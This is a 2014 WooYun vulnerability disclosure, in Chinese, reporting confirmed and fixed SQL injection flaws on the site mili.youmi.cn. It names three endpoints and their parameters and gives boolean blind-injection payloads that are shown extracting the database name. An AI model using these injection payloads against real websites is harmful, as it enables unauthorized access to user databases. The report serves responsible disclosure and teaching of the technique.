当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074557

漏洞标题:优米网SQL注入漏洞多处打包(update型注入技巧)

相关厂商:优米网

漏洞作者: nextdoor

提交时间:2014-08-31 20:09

修复时间:2014-10-15 20:10

公开时间:2014-10-15 20:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-31: 细节已通知厂商并且等待厂商处理中
2014-09-04: 厂商已经确认,细节仅向厂商公开
2014-09-14: 细节向核心白帽子及相关领域专家公开
2014-09-24: 细节向普通白帽子公开
2014-10-04: 细节向实习白帽子公开
2014-10-15: 细节向公众公开

简要描述:

update型注入技巧

详细说明:

0x01 介绍
先介绍一下关于mysql数据库的update行注入
注入的sql语句一般是
insert into table(属性名) values(值);
在测试的过程中,当变量值可控时且没有过滤时插入
下面测试语句后的返回结果。

//根据or之间的表达式是否成立来进行盲注
'or 1=1 or ' //插入的测试语句直接当成sql语句执行,并把存储返回值,表达式成立,返回结果为1
'or 1=2 or ' //表达式不成立,返回结果为0
' or exists(select * from information_schema.tables) or' //返回结果为1


更具返回值的不同我们就可以盲注了
0x02 演示
漏洞url和变量

//下面利用post提交的变量均存在注入
http://mili.youmi.cn/setting/education/
schoolname=test1&schooltime=2014&department=test2
http://mili.youmi.cn/setting/profession
company=test1&stime_y=2014&stime_m=1&etime_y=%E8%87%B3%E4%BB%8A&etime_m=1&position=test2
http://mili.youmi.cn/setting/growing
time=2014&growinway=test1


测试利用语句

'or 1=1 or ' //返回正确
'or 1=2 or ' //返回错误
' or exists(select * from information_schema.tables) or'//返回正确
aaa' or length(database())=11 or '//返回正确
aaa' or mid(database(),1,1)='m' or'//返回正确
aaa' or mid(database(),1,11)='mili_online' or '//返回正确
可知当前数据库为mili_online


根据http://mili.youmi.cn/setting/education/进行实例测试

youmi1.PNG


youmi2.PNG


youmi4.PNG


youmi5.PNG

youmi10.PNG


返回的结果判定表达式是否成立

youmi6.PNG


其他几处注入点

youmi7.PNG


youmi8.PNG


youmi9.PNG


0x03 总结
对于这样的注入,多存在于用户登陆,管理员登陆和前台插入数据的地方。
对于这样的漏洞的防御,插入时进行过滤变量即可。

漏洞证明:

已证明

修复方案:

危险操作增删改查时过滤

版权声明:转载请注明来源 nextdoor@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-09-04 12:22

厂商回复:

感谢提交,已经处理

最新状态:

暂无